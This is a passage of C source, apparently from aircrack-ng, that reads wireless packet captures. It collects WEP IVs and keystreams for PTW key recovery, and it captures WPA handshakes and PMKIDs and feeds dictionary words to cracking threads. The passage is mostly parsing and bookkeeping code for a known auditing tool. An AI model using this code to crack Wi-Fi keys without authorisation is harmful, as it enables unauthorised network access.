exit(EXIT_SUCCESS);
}
static void sighandler(int signum)
{
#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
_PGOPTI_Prof_Dump();
#endif
#if !defined(__CYGWIN__)
// We can't call this on cygwin or we will sometimes end up
// having all our threads die with exit code 35584 fairly reproducible
// at around 2.5-3% of runs
ALLEGE(signal(signum, sighandler) != SIG_ERR);
#endif
if (signum == SIGQUIT) clean_exit(EXIT_SUCCESS);
if (signum == SIGTERM) clean_exit(EXIT_FAILURE);
if (signum == SIGINT)
{
#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
clean_exit(EXIT_FAILURE);
#else
clean_exit(EXIT_FAILURE);
#endif
}
if (signum == SIGWINCH) erase_display(2);
}
/// Update keys/sec counters with current round of keys.
static inline void
increment_passphrase_counts(wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED],
int nparallel)
{
int nbkeys = 0;
for (int i = 0; i < nparallel; i++)
{
if (keys[i].length > 0)
{
++nbkeys;
}
}
ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
nb_tried += nbkeys;
nb_kprev += nbkeys;
ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
}
/// Load next wordlist chunk, and count the number of passphrases present.
static inline void wl_count_next_block(struct WPA_data * data)
{
REQUIRE(data != NULL);
if (data->thread > 1) return;
if (opt.dictfinish) return;
float delta = chrono(&t_dictup, 0);
if (delta - 2.f >= FLT_EPSILON)
{
int i;
int fincnt = 0;
size_t tmpword = 0;
for (i = 0; i < opt.totaldicts; i++)
{
if (opt.dictidx[i].loaded)
{
fincnt++;
continue;
}
if (opt.dictidx[i].dictsize > READBUF_BLKSIZE)
{
if (pthread_mutex_trylock(&mx_dic) == 0)
{
tmpword = linecount(opt.dicts[i],
opt.dictidx[i].dictpos,
READBUF_MAX_BLOCKS);
opt.dictidx[i].wordcount += tmpword;
opt.wordcount += tmpword;
opt.dictidx[i].dictpos
+= (READBUF_BLKSIZE * READBUF_MAX_BLOCKS);
if (opt.dictidx[i].dictpos >= opt.dictidx[i].dictsize)
opt.dictidx[i].loaded = 1;
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
}
// Only process a chunk then come back later for more.
break;
}
}
if (fincnt == opt.totaldicts)
opt.dictfinish = 1;
else
(void) chrono(&t_dictup, 1);
}
}
static inline int
wpa_send_passphrase(char * key, struct WPA_data * data, int lock)
{
REQUIRE(key != NULL);
REQUIRE(data != NULL);
if (close_aircrack)
{
circular_queue_reset(data->cqueue);
return (0);
}
if (lock)
{
circular_queue_push(data->cqueue, key, MAX_PASSPHRASE_LENGTH + 1);
}
else
{
if (circular_queue_try_push(
data->cqueue, key, MAX_PASSPHRASE_LENGTH + 1)
!= 0)
return (0);
}
return (1);
}
static inline int wpa_receive_passphrase(char * key, struct WPA_data * data)
{
REQUIRE(key != NULL);
REQUIRE(data != NULL);
circular_queue_pop(
data->cqueue, (void * const *) &key, MAX_PASSPHRASE_LENGTH + 1);
return (1);
}
/* Returns number of BSSIDs.
Return value is negative for failures
*/
static int checkbssids(const char * bssidlist)
{
int first = 1;
int failed = 0;
int i = 0;
char *list, *frontlist, *tmp;
int nbBSSID = 0;
if (bssidlist == NULL) return (-1);
#define IS_X(x) ((x) == 'X' || (x) == 'x')
#define VALID_CHAR(x) ((IS_X(x)) || hexCharToInt((char) x) > -1)
#define VALID_SEP(arg) (((arg) == '_') || ((arg) == '-') || ((arg) == ':'))
frontlist = list = strdup(bssidlist);
do
{
tmp = strsep(&list, ",");
if (tmp == NULL) break;
++nbBSSID;
if (strlen(tmp) != 17) failed = 1;
// first byte
if (!VALID_CHAR(tmp[0])) failed = 1;
if (!VALID_CHAR(tmp[1])) failed = 1;
if (!VALID_SEP(tmp[2])) failed = 1;
// second byte
if (!VALID_CHAR(tmp[3])) failed = 1;
if (!VALID_CHAR(tmp[4])) failed = 1;
if (!VALID_SEP(tmp[5])) failed = 1;
// third byte
if (!VALID_CHAR(tmp[6])) failed = 1;
if (!VALID_CHAR(tmp[7])) failed = 1;
if (!VALID_SEP(tmp[8])) failed = 1;
// fourth byte
if (!VALID_CHAR(tmp[9])) failed = 1;
if (!VALID_CHAR(tmp[10])) failed = 1;
if (!VALID_SEP(tmp[11])) failed = 1;
// fifth byte
if (!VALID_CHAR(tmp[12])) failed = 1;
if (!VALID_CHAR(tmp[13])) failed = 1;
if (!VALID_SEP(tmp[14])) failed = 1;
// sixth byte
if (!VALID_CHAR(tmp[15])) failed = 1;
if (!VALID_CHAR(tmp[16])) failed = 1;
if (failed)
{
free(frontlist);
return (-1);
}
if (first)
{
for (i = 0; i < 17; i++)
{
if (IS_X(tmp[i]))
{
free(frontlist);
return (-1);
}
}
opt.firstbssid = (unsigned char *) malloc(sizeof(unsigned char));
if (opt.firstbssid == NULL)
{
free(frontlist);
return (-1);
}
ALLEGE(getmac(tmp, 1, opt.firstbssid) == 0);
first = 0;
}
} while (list);
// Success
free(frontlist);
return (nbBSSID);
}
static THREAD_ENTRY(session_save_thread)
{
UNUSED_PARAM(arg);
struct timeval start;
struct timeval stop;
int8_t wordlist = 0;
off_t pos;
if (!cracking_session || opt.stdin_dict)
{
return (NULL);
}
// Start chrono
gettimeofday(&start, NULL);
while (!close_aircrack)
{
// Check if we're over the 10 minutes mark
gettimeofday(&stop, NULL);
if (stop.tv_sec - start.tv_sec < 10 * 60)
{
// Wait 100ms
if (usleep(100000) == -1)
{
break; // Got a signal
}
continue;
}
// Reset chrono
start.tv_sec = stop.tv_sec;
pos = 0;
wordlist = 0;
// Get position in file
ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
if (opt.dict)
{
wordlist = 1;
pos = ftello(opt.dict);
}
ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
// If there is no wordlist, that means it's the end
// (either forced closing and wordlist was closed or
// we've tried all wordlists).
if (wordlist == 0)
{
break;
}
// Update amount of keys tried and save it
ac_session_save(cracking_session, (uint64_t) pos, nb_tried);
}
return (NULL);
}
static int mergebssids(const char * bssidlist, unsigned char * bssid)
{
struct mergeBSSID * list_prev;
struct mergeBSSID * list_cur;
char * mac = NULL;
char * list = NULL;
char * tmp = NULL;
char * tmp2 = NULL;
int next, i, found;
if (bssid == NULL || bssidlist == NULL || bssidlist[0] == 0)
{
return (-1);
}
// Do not convert if equal to first bssid
if (memcmp(opt.firstbssid, bssid, ETHER_ADDR_LEN) == 0) return (1);
list_prev = NULL;
list_cur = opt.bssid_list_1st;
while (list_cur != NULL)
{
if (memcmp(list_cur->bssid, bssid, ETHER_ADDR_LEN) == 0)
{
if (list_cur->convert)
memcpy(bssid, opt.firstbssid, ETHER_ADDR_LEN);
return (list_cur->convert);
}
list_prev = list_cur;
list_cur = list_cur->next;
}
// Not found, check if it has to be converted
mac = (char *) malloc(18);
if (!mac)
{
perror("malloc failed");
return (-1);
}
snprintf(mac,
18,
"%02X:%02X:%02X:%02X:%02X:%02X",
bssid[0],
bssid[1],
bssid[2],
bssid[3],
bssid[4],
bssid[5]);
mac[17] = 0;
tmp2 = list = strdup(bssidlist);
ALLEGE(tmp2 != NULL);
// skip first element (because it doesn't have to be converted
// It already has the good value
(void) strsep(&list, ",");
found = 0;
do
{
next = 0;
tmp = strsep(&list, ",");
if (tmp == NULL) break;
// Length already checked, no need to check it again
for (i = 0; i < 17; ++i)
{
if ((IS_X(tmp[i]) || VALID_SEP(tmp[i]))) continue;
if (toupper((int) tmp[i]) != (int) mac[i])
{
// Not found
next = 1;
break;
}
}
if (next == 0)
{
found = 1;
break;
}
} while (list);
// Free memory
free(mac);
free(tmp2);
// Add the result to the list
list_cur = (struct mergeBSSID *) malloc(sizeof(struct mergeBSSID));
if (!list_cur)
{
perror("malloc failed");
return (-1);
}
list_cur->convert = found;
list_cur->next = NULL;
memcpy(list_cur->bssid, bssid, ETHER_ADDR_LEN);
if (opt.bssid_list_1st == NULL)
opt.bssid_list_1st = list_cur;
else
list_prev->next = list_cur;
// Do not forget to convert if it was successful
if (list_cur->convert) memcpy(bssid, opt.firstbssid, ETHER_ADDR_LEN);
#undef VALID_CHAR
#undef VALID_SEP
#undef IS_X
return (list_cur->convert);
}
static ssize_t may_read(int fd)
{
struct timeval tv;
fd_set rfds;
FD_ZERO(&rfds);
FD_SET(fd, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 250000;
while (select(fd + 1, &rfds, NULL, NULL, &tv) < 0)
{
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) continue;
if (errno == EBADF) return (0);
perror("select");
abort();
}
if (FD_ISSET(fd, &rfds))
{
return (1);
}
return (0);
}
/* fread isn't atomic, sadly */
static int atomic_read(read_buf * rb, int fd, int len, void * buf)
{
ssize_t n = 0;
if (close_aircrack) return (0);
if (rb->buf1 == NULL)
{
rb->buf1 = malloc(65536);
rb->buf2 = malloc(65536);
if (rb->buf1 == NULL || rb->buf2 == NULL) return (0);
rb->off1 = 0;
rb->off2 = 0;
}
if (len > 65536 - rb->off1)
{
rb->off2 -= rb->off1;
memcpy(rb->buf2, (char *) rb->buf1 + rb->off1, (size_t) rb->off2);
memcpy(rb->buf1, (char *) rb->buf2, (size_t) rb->off2);
rb->off1 = 0;
}
if (rb->off2 - rb->off1 >= len)
{
memcpy(buf, (char *) rb->buf1 + rb->off1, (size_t) len);
rb->off1 += len;
return (1);
}
else
{
tail_until_close:
do
{
if (may_read(fd))
{
n = read(fd,
(char *) rb->buf1 + rb->off2,
(size_t) (65536 - rb->off2));
}
if (close_aircrack) return (0);
} while (rb->tail && n == 0);
if (n <= 0) return (0);
rb->off2 += n;
if (rb->off2 - rb->off1 >= len)
{
memcpy(buf, (char *) rb->buf1 + rb->off1, (size_t) len);
rb->off1 += len;
return (1);
}
else
{
if (rb->tail) goto tail_until_close;
}
}
return (0);
}
/**
* Calculate the WEP session's keystream, for PTW based attacks.
*
* @param body The packet data contained within an 802.11 frame.
* @param dlen The length of the \a body parameter.
* @param ap_cur A reference to the AP base-station.
* @param h80211 A reference to the entire 802.11 frame data, for
* which \a body is located inside.
* @return Returns zero on success. Returns non-zero for an error (> zero)
* or exception (< zero).
*/
static int calculate_wep_keystream(unsigned char * body,
int dlen,
struct AP_info * ap_cur,
unsigned char * h80211)
{
REQUIRE(body != NULL);
REQUIRE(ap_cur != NULL);
REQUIRE(h80211 != NULL);
unsigned char clear[2048];
int clearsize, i, j, k;
int weight[16];
memset(weight, 0, sizeof(weight));
memset(clear, 0, sizeof(clear));
/* calculate keystream */
k = known_clear(clear, &clearsize, weight, h80211, (size_t) dlen);
if (clearsize < (opt.keylen + 3)) return (0);
for (j = 0; j < k; j++)
{
for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
}
if (k == 1)
{
if (ap_cur->ptw_clean == NULL)
{
ap_cur->ptw_clean = PTW_newattackstate();
if (!ap_cur->ptw_clean)
{
perror("PTW_newattackstate()");
return (-1);
}
}
if (PTW_addsession(ap_cur->ptw_clean, body, clear, weight, k))
ap_cur->nb_ivs_clean++;
}
if (ap_cur->ptw_vague == NULL)
{
ap_cur->ptw_vague = PTW_newattackstate();
if (!ap_cur->ptw_vague)
{
perror("PTW_newattackstate()");
return (-2);
}
}
if (PTW_addsession(ap_cur->ptw_vague, body, clear, weight, k))
ap_cur->nb_ivs_vague++;
return (0);
}
/**
* Updates the current AP with additional information, such as stations.
*
* @param ap_cur The AP we are updating.
* @param fmt The incoming \a buffer binary format.
* @param buffer The incoming packet data.
* @param h80211 A reference within \a buffer for the 802.11 frame.
* @param ivs2 A reference to an IVS2 packet structure.
* @param pkh A reference to the packet's header content.
* @return Returns zero on success. Returns non-zero for an error (> zero)
* or exception (< zero).
*/
static int packet_reader__update_ap_info(struct AP_info * ap_cur,
int fmt,
unsigned char * buffer,
unsigned char * h80211,
struct ivs2_pkthdr * ivs2,
struct pcap_pkthdr * pkh,
packet_reader_t * me)
{
REQUIRE(ap_cur != NULL);
REQUIRE(buffer != NULL);
REQUIRE(h80211 != NULL);
REQUIRE(ivs2 != NULL);
REQUIRE(pkh != NULL);
struct ST_info * st_cur = NULL;
unsigned char stmac[ETHER_ADDR_LEN];
unsigned char * p = NULL;
if (fmt == FORMAT_IVS)
{
ap_cur->crypt = 2;
add_wep_iv(ap_cur, buffer, me);
return (0);
}
else if (fmt == FORMAT_IVS2)
{
parse_ivs2(ap_cur, ivs2, buffer, me);
return (0);
}
/* locate the station MAC in the 802.11 header */
switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
case IEEE80211_FC1_DIR_TODS:
memcpy(stmac, h80211 + 10, ETHER_ADDR_LEN);
break;
case IEEE80211_FC1_DIR_FROMDS:
/* reject broadcast MACs */
if ((h80211[4] % 2) != 0) goto skip_station;
memcpy(stmac, h80211 + 4, ETHER_ADDR_LEN);
break;
default:
goto skip_station;
}
int not_found = c_avl_get(ap_cur->stations, stmac, (void **) &st_cur);
/* if it's a new supplicant, add it */
if (not_found)
{
st_cur = (struct ST_info *) malloc(sizeof(struct ST_info));
if (st_cur == NULL)
{
perror("malloc failed");
return (-1);
}
memset(st_cur, 0, sizeof(struct ST_info));
memcpy(st_cur->stmac, stmac, sizeof(st_cur->stmac));
c_avl_insert(ap_cur->stations, st_cur->stmac, st_cur);
}
skip_station:
/* packet parsing: Beacon or Probe Response */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_BEACON
|| h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
{
if (ap_cur->crypt == 0) ap_cur->crypt = (h80211[34] & 0x10u) >> 4u;
p = h80211 + 36;
while (p < h80211 + pkh->caplen)
{
if (p + 2 + p[1] > h80211 + pkh->caplen) break;
if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0')
{
/* found a non-cloaked ESSID */
size_t n = (p[1] > 32) ? 32 : p[1];
memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
memcpy(ap_cur->essid, p + 2, n);
}
p += 2 + p[1];
}
}
/* packet parsing: Association Request */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_ASSOC_REQ)
{
p = h80211 + 28;
while (p < h80211 + pkh->caplen)
{
if (p + 2 + p[1] > h80211 + pkh->caplen) break;
if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0')
{
size_t n = (p[1] > 32) ? 32 : p[1];
memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
memcpy(ap_cur->essid, p + 2, n);
}
p += 2 + p[1];
}
}
/* packet parsing: Association Response */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_ASSOC_RESP)
{
/* reset the WPA handshake state */
if (st_cur != NULL) st_cur->wpa.state = 0;
}
/* check if data */
if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) != IEEE80211_FC0_TYPE_DATA)
return (0);
/* check minimum size */
unsigned z
= ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
? 24
: 30;
if ((h80211[0] & IEEE80211_FC0_SUBTYPE_BEACON)
== IEEE80211_FC0_SUBTYPE_BEACON)
z += 2; /* 802.11e QoS */
if (z + 16 > pkh->caplen) return (0);
/* check the SNAP header to see if data is encrypted */
if (h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03)
{
if (!opt.forced_amode)
{
ap_cur->crypt = 2; /* encryption = WEP */
/* check the extended IV flag */
if ((h80211[z + 3] & 0x20) != 0)
{
/* encryption = WPA */
ap_cur->crypt = 3;
}
}
/* check the WEP key index */
if (opt.index != 0 && (h80211[z + 3] >> 6) != opt.index - 1) return (0);
if (opt.do_ptw)
{
unsigned char * body = h80211 + z;
int data_len = (int) (pkh->caplen - (body - h80211) - 4 - 4);
if ((h80211[1] & IEEE80211_FC1_DIR_MASK)
== IEEE80211_FC1_DIR_DSTODS) // 30byte header
{
body += 6;
data_len -= 6;
}
calculate_wep_keystream(body, data_len, ap_cur, h80211);
return (0);
}
/* save the IV & first two output bytes */
memcpy(buffer, h80211 + z, 3);
memcpy(buffer + 3, h80211 + z + 4, 2);
/* Special handling for spanning-tree packets */
if (memcmp(h80211 + 4, SPANTREE, ETHER_ADDR_LEN) == 0
|| memcmp(h80211 + 16, SPANTREE, ETHER_ADDR_LEN) == 0)
{
buffer[3] = (uint8_t) ((buffer[3] ^ 0x42) ^ 0xAA);
buffer[4] = (uint8_t) ((buffer[4] ^ 0x42) ^ 0xAA);
}
add_wep_iv(ap_cur, buffer, me);
return (0);
}
/* if ethertype == IPv4, find the LAN address */
z += 6;
if (z + 20 < pkh->caplen)
{
if (h80211[z] == 0x08 && h80211[z + 1] == 0x00
&& (h80211[1] & 3) == 0x01)
memcpy(ap_cur->lanip, &h80211[z + 14], 4);
if (h80211[z] == 0x08 && h80211[z + 1] == 0x06)
memcpy(ap_cur->lanip, &h80211[z + 16], 4);
}
/* check ethertype == EAPOL */
if (h80211[z] != 0x88 || h80211[z + 1] != 0x8E) return (0);
z += 2;
ap_cur->eapol = 1;
/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
if (h80211[z + 1] != 0x03
|| (h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02))
return (0);
ap_cur->eapol = 0;
if (!opt.forced_amode) ap_cur->crypt = 3; /* set WPA */
if (st_cur == NULL)
{
// NOTE: no station present; so we want to SKIP this AP.
return (1);
}
const uint64_t now_us = pkh->tv_sec * SECOND_TO_MICROSEC + pkh->tv_usec;
const uint64_t replay_counter
= be64_to_cpu(get_unaligned((uint64_t *) (&h80211[z + 9])));
if (st_cur->wpa.timestamp_start_us > 0
&& subs_u64(now_us, st_cur->wpa.timestamp_start_us)
> eapol_max_fourway_timeout)
{
fprintf(stderr, "Resetting EAPOL Handshake decoder state.\n");
memset(&st_cur->wpa, 0, sizeof(struct WPA_hdsk));
}
/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
&& (h80211[z + 6] & 0x80) != 0 && (h80211[z + 5] & 0x01) == 0)
{
if (st_cur->wpa.timestamp_start_us == 0)
{
st_cur->wpa.timestamp_start_us = now_us;
st_cur->wpa.timestamp_last_us = now_us;
}
if (subs_u64(now_us, st_cur->wpa.timestamp_last_us)
> eapol_interframe_timeout)
{
// exceeds the inter-frame timeout period
memset(&st_cur->wpa, 0, sizeof(struct WPA_hdsk));
st_cur->wpa.timestamp_start_us = now_us;
}
// update last recv time.
st_cur->wpa.timestamp_last_us = now_us;
/* authenticator nonce set */
st_cur->wpa.state = 1;
memcpy(st_cur->wpa.anonce, &h80211[z + 17], sizeof(st_cur->wpa.anonce));
st_cur->wpa.found |= 1 << 1;
st_cur->wpa.replay = replay_counter;
uint8_t key_descriptor_version = (uint8_t) (h80211[z + 6] & 7);
p = h80211 + z + 99;
while (p < h80211 + pkh->caplen)
{
if (p + 2 + p[1] > h80211 + pkh->caplen) break;
#ifdef XDEBUG
fprintf(stderr, "IE element: %d\n", p[0]);
fprintf(stderr, "IE length: %d\n", p[1]);
#endif
if (p[0] == IEEE80211_ELEMID_VENDOR)
{
size_t rsn_len = p[1];
size_t pos = 2;
const uint8_t rsn_oui[] = {RSN_OUI & 0xff,
(RSN_OUI >> 8) & 0xff,
(RSN_OUI >> 16) & 0xff};
#ifdef XDEBUG
fprintf(stderr, "RSN length: %zd\n", rsn_len);
fprintf(stderr,
"OUI is %02x:%02x:%02x\n",
p[pos],
p[pos + 1],
p[pos + 2]);
#endif
if (memcmp(rsn_oui, &p[pos], 3) == 0)
{
if (pos + 3 > rsn_len) goto rsn_out;
pos += 3; // advance over RSN OUI
#ifdef XDEBUG
fprintf(stderr,
"The cipher tag value '%d' is used with the key "
"descriptor version '%d'\n",
p[pos],
key_descriptor_version);
#endif
if (pos + 1 > rsn_len) goto rsn_out;
pos += 1; // advance over tag value
if (key_descriptor_version > 0
&& memcmp(ZERO, &p[pos], 16) //-V512
!= 0)
{
#ifdef XDEBUG
fprintf(stderr, "FOUND valid CCM PMKID\n");
#endif
// Got a PMKID value?!
memcpy(st_cur->wpa.pmkid, &p[pos], 16);
/* copy the key descriptor version */
st_cur->wpa.keyver = key_descriptor_version;
}
}
}
p += 2 + p[1];
}
rsn_out:;
}
/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
&& (h80211[z + 6] & 0x80) == 0 && (h80211[z + 5] & 0x01) != 0)
{
if (st_cur->wpa.timestamp_start_us == 0)
{
st_cur->wpa.timestamp_start_us = now_us;
st_cur->wpa.timestamp_last_us = now_us;
}
INVARIANT(now_us > 0);
INVARIANT(st_cur->wpa.timestamp_start_us != 0);
INVARIANT(st_cur->wpa.timestamp_last_us != 0);
if (subs_u64(now_us, st_cur->wpa.timestamp_last_us)
> eapol_interframe_timeout)
{
// exceeds the inter-frame timeout period
st_cur->wpa.found &= ~((1 << 4) | (1 << 2)); // unset M2 and M4
fprintf(stderr, "Inter-frame timeout period exceeded.\n");
return (1);
}
// update last recv time.
st_cur->wpa.timestamp_last_us = now_us;
if (st_cur->wpa.state == 0)
{
// no M1; so we store the M2 replay counter.
st_cur->wpa.replay = replay_counter;
}
else if (st_cur->wpa.replay != replay_counter)
{
// Bad replay counter value in message M2 or M4.
return (1);
}
if (memcmp(&h80211[z + 17], ZERO, sizeof(st_cur->wpa.snonce)) != 0)
{
memcpy(st_cur->wpa.snonce,
&h80211[z + 17],
sizeof(st_cur->wpa.snonce));
/* supplicant nonce set */
st_cur->wpa.state |= 2;
}
// uint16_t key_len = ((h80211[z + 7] << 8u) + h80211[z + 8]);
uint16_t key_data_len
= (h80211[z + 81 + 16] << 8u) + h80211[z + 81 + 17];
if (key_data_len == 0)
{
st_cur->wpa.found |= 1 << 4; // frame 4
}
else
{
st_cur->wpa.found |= 1 << 2; // frame 2
}
if ((st_cur->wpa.state & 4) != 4)
{
/* copy the MIC & eapol frame */
st_cur->wpa.eapol_size
= (uint32_t) ((h80211[z + 2] << 8) + h80211[z + 3] + 4);
if (st_cur->wpa.eapol_size == 0 //-V560
|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
|| pkh->len - z < st_cur->wpa.eapol_size)
{
// Ignore the packet trying to crash us.
st_cur->wpa.eapol_size = 0;
return (0);
}
memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
memset(st_cur->wpa.eapol + 81, 0, 16);
if (key_data_len == 0)
{
st_cur->wpa.eapol_source |= 1 << 4; // frame 4
}
else
{
st_cur->wpa.eapol_source |= 1 << 2; // frame 2
}
/* eapol frame & keymic set */
st_cur->wpa.state |= 4;
/* copy the key descriptor version */
st_cur->wpa.keyver = (uint8_t) (h80211[z + 6] & 7);
}
}
/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
/* M3's replay counter MUST be larger than M1/M2's. */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
&& (h80211[z + 6] & 0x80) != 0 && (h80211[z + 5] & 0x01) != 0
&& st_cur->wpa.replay < replay_counter)
{
if (st_cur->wpa.timestamp_start_us == 0)
{
st_cur->wpa.timestamp_start_us = now_us;
st_cur->wpa.timestamp_last_us = now_us;
}
INVARIANT(st_cur->wpa.timestamp_last_us != 0);
if (subs_u64(now_us, st_cur->wpa.timestamp_last_us)
> eapol_interframe_timeout)
{
// exceeds the inter-frame timeout period
st_cur->wpa.found &= ~(1 << 3); // unset M3
fprintf(stderr, "Inter-frame timeout period exceeded.\n");
return (1);
}
// update last recv time.
st_cur->wpa.timestamp_last_us = now_us;
st_cur->wpa.found |= 1 << 3;
// Store M3 for comparison with M4.
st_cur->wpa.replay = replay_counter;
if (memcmp(&h80211[z + 17], ZERO, sizeof(st_cur->wpa.anonce)) != 0)
{
memcpy(st_cur->wpa.anonce,
&h80211[z + 17],
sizeof(st_cur->wpa.anonce));
/* authenticator nonce set */
st_cur->wpa.state |= 1;
}
if ((st_cur->wpa.state & 4) != 4)
{
/* copy the MIC & eapol frame */
st_cur->wpa.eapol_size
= (uint32_t) ((h80211[z + 2] << 8) + h80211[z + 3] + 4);
if (st_cur->wpa.eapol_size == 0 //-V560
|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
|| pkh->len - z < st_cur->wpa.eapol_size)
{
// Ignore the packet trying to crash us.
st_cur->wpa.eapol_size = 0;
return (0);
}
memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
memset(st_cur->wpa.eapol + 81, 0, 16);
st_cur->wpa.eapol_source |= 1 << 3;
/* eapol frame & keymic set */
st_cur->wpa.state |= 4;
/* copy the key descriptor version */
st_cur->wpa.keyver = (uint8_t) (h80211[z + 6] & 7);
}
}
// The new PMKID attack permits any state greater than 0, with a PMKID
// present.
if (st_cur->wpa.state == 7
|| (st_cur->wpa.state > 0 && st_cur->wpa.pmkid[0] != 0x00))
{
/* got one valid handshake */
memcpy(st_cur->wpa.stmac, stmac, ETHER_ADDR_LEN);
memcpy(&ap_cur->wpa, &st_cur->wpa, sizeof(struct WPA_hdsk));
}
return (0);
}
/**
* Process a single packet, to extract useful access point data.
*
* @param me A reference to our own (this ptr) data.
* @param bssid The base station MAC address.
* @param dest An extra base station MAC address. ?
* @param fmt The incoming packet \a buffer binary format.
* @param buffer The incoming packet data.
* @param h80211 A reference within \a buffer for the 802.11 frame.
* @param ivs2 A reference to an IVS2 packet structure.
* @param pkh A reference to the packet's header content.
* @param ap_cur An output parameter to hold a found, or updated, AP base
* station.
* @return Returns zero on success. Returns non-zero for an error (> zero)
* or exception (< zero).
*/
static int packet_reader_process_packet(packet_reader_t * me,
uint8_t * bssid,
uint8_t * dest,
int fmt,
unsigned char * buffer,
unsigned char * h80211,
struct ivs2_pkthdr * ivs2,
struct pcap_pkthdr * pkh,
struct AP_info ** ap_cur)
{
REQUIRE(me != NULL);
REQUIRE(bssid != NULL);
REQUIRE(dest != NULL);
REQUIRE(buffer != NULL);
REQUIRE(h80211 != NULL);
REQUIRE(ivs2 != NULL);
REQUIRE(pkh != NULL);
REQUIRE(ap_cur != NULL);
*ap_cur = NULL;
nb_pkt++;
if (fmt == FORMAT_CAP)
{
/* skip packets smaller than a 802.11 header */
if (pkh->caplen < 24) return (0);
/* skip (uninteresting) control frames */
if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
return (0);
/* locate the access point's MAC address */
switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
memcpy(bssid, h80211 + 16, ETHER_ADDR_LEN); //-V525
break; // Adhoc
case IEEE80211_FC1_DIR_TODS:
memcpy(bssid, h80211 + 4, ETHER_ADDR_LEN);
break; // ToDS
case IEEE80211_FC1_DIR_FROMDS:
case IEEE80211_FC1_DIR_DSTODS:
memcpy(bssid, h80211 + 10, ETHER_ADDR_LEN);
break; // WDS -> Transmitter taken as BSSID
default:
fprintf(stderr,
"Expected a value between 0 and 3, got %d.\n",
h80211[1] & IEEE80211_FC1_DIR_MASK);
break;
}
switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
case IEEE80211_FC1_DIR_FROMDS:
memcpy(dest, h80211 + 4, ETHER_ADDR_LEN);
break; // Adhoc
case IEEE80211_FC1_DIR_TODS:
case IEEE80211_FC1_DIR_DSTODS:
memcpy(dest, h80211 + 16, ETHER_ADDR_LEN);
break; // WDS -> Transmitter taken as BSSID
default:
fprintf(stderr,
"Expected a value between 0 and 3, got %d.\n",
h80211[1] & IEEE80211_FC1_DIR_MASK);
break;
}
// skip corrupted keystreams in wep decloak mode
if (opt.wep_decloak)
{
if (dest[0] == 0x01) return (0);
}
}
if (opt.bssidmerge) mergebssids(opt.bssidmerge, bssid);
if (memcmp(bssid, BROADCAST, ETHER_ADDR_LEN) == 0)
/* probe request or such - skip the packet */
return (0);
if (me->mode == PACKET_READER_READ_MODE)
{
if (memcmp(bssid, opt.bssid, ETHER_ADDR_LEN) != 0) return (0);
}
if (memcmp(opt.maddr, ZERO, ETHER_ADDR_LEN) != 0
&& memcmp(opt.maddr, BROADCAST, ETHER_ADDR_LEN) != 0)
{
/* apply the MAC filter */
if (memcmp(opt.maddr, h80211 + 4, ETHER_ADDR_LEN) != 0
&& memcmp(opt.maddr, h80211 + 10, ETHER_ADDR_LEN) != 0
&& memcmp(opt.maddr, h80211 + 16, ETHER_ADDR_LEN) != 0)
return (0);
}
/* search for the station */
int not_found = c_avl_get(access_points, bssid, (void **) ap_cur);
/* if it's a new access point, add it */
if (not_found)
{
if (!(*ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
{
perror("malloc failed");
return (-1);
}
memset((*ap_cur), 0, sizeof(struct AP_info));
memcpy((*ap_cur)->bssid, bssid, ETHER_ADDR_LEN);
(*ap_cur)->crypt = -1;
// Shortcut to set encryption:
// - WEP is 2 for 'crypt' and 1 for 'amode'.
// - WPA is 3 for 'crypt' and 2 for 'amode'.
if (opt.forced_amode) (*ap_cur)->crypt = opt.amode + 1;
if (opt.do_ptw == 1)
{
(*ap_cur)->ptw_clean = PTW_newattackstate();
if (!(*ap_cur)->ptw_clean)
{
perror("PTW_newattackstate()");
free(*ap_cur);
*ap_cur = NULL;
return (-1);
}
(*ap_cur)->ptw_vague = PTW_newattackstate();
if (!(*ap_cur)->ptw_vague)
{
perror("PTW_newattackstate()");
free(*ap_cur);
*ap_cur = NULL;
return (-1);
}
